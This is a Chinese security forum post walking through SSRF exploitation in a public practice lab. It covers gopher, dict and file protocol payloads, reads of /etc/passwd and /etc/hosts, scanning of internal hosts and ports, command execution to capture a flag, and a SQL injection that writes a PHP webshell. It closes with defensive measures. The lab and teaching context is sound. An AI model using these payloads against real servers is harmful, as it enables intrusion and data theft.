安全矩阵

 找回密码
 立即注册
搜索
查看: 584|回复: 0

SSRF作为入口点的利用

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-12-16 20:27:18 | 显示全部楼层 |阅读模式

SSRF作为入口点的利用


SSRF入口的利用
SSRF是由一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。(正因为请求是由服务器发起的,所以服务器端能请求到与自身相连而与外网隔离的内部系统。)
这里我用了个靶场:
https://github.com/sqlsec/ssrf-vuls


服务端请求访问
常见的攻击协议

Gopher协议
对目标攻击的主要协议
gopher://xxxxx:port/主体
主体部分需要url编码

Dict协议
探测端口操作,以及版本信息
dict://xxxxx:port/info
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379(http也可以)

ftp协议
只能探测是否存在ftp,不能进行爆破

http协议
用来探测是否存在ssrf
sftp:// ldap://

file协议
读取文件协议
刺探支持的协议(修改协议头即可)

gopher://<host>:<post>/<gopher-path>_后面接TCP数据流(扫描)
dict://xxxxx:port/info(例:dict://xxxxx:22/info,dict://xxxxx:6379/info)(爆破)
ftp:///etc/passwd(file://c:\windows\win.ini,如果报错返回绝对地址更再好不过了)
http://xxxxx:port/(扫描)
file://(读取文件内容)
靶场
搭建完成后 访问http://url:8080/
随便请求内网,发现套娃 存在SSRF漏洞
http://127.0.0.1:8080
file:///etc/passwd            # 读取配置文件
file:///etc/hosts             # 查看hosts文件

探索内部资产
可以用dict进行探测服务 加上前面看到了172.72.23.0网段
暴力破解IP和端口

探测到非常多服务


代码执行
访问172.72.23.22 发现提示,发现里面有一个shell.php的文件
是一个简单的命令执行,使用cat%20/flag 直接读取flag
flag{a8ebc494c479c9f03fc353b3ba81040d}


SQL注入
访问第二个172.72.23.23 是一个sql注入的题目
简单的get注入 判断出为4列
然后进行一些简单查询
接下来直接些webshell了
http://172.72.23.23/?id=1'%20union%20select%201,2,3,'<?php%20system($_GET[a]);%20?>'%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+

命令执行
因为是post提交数据的所以没办法直接提交
gopher://ip:端口/_请求内网POST数据包进行2次URL编码

Accept-Encoding: gzip, deflate   # 记得删除!!!

成功执行命令
防护措施
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 14:24 , Processed in 0.014168 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表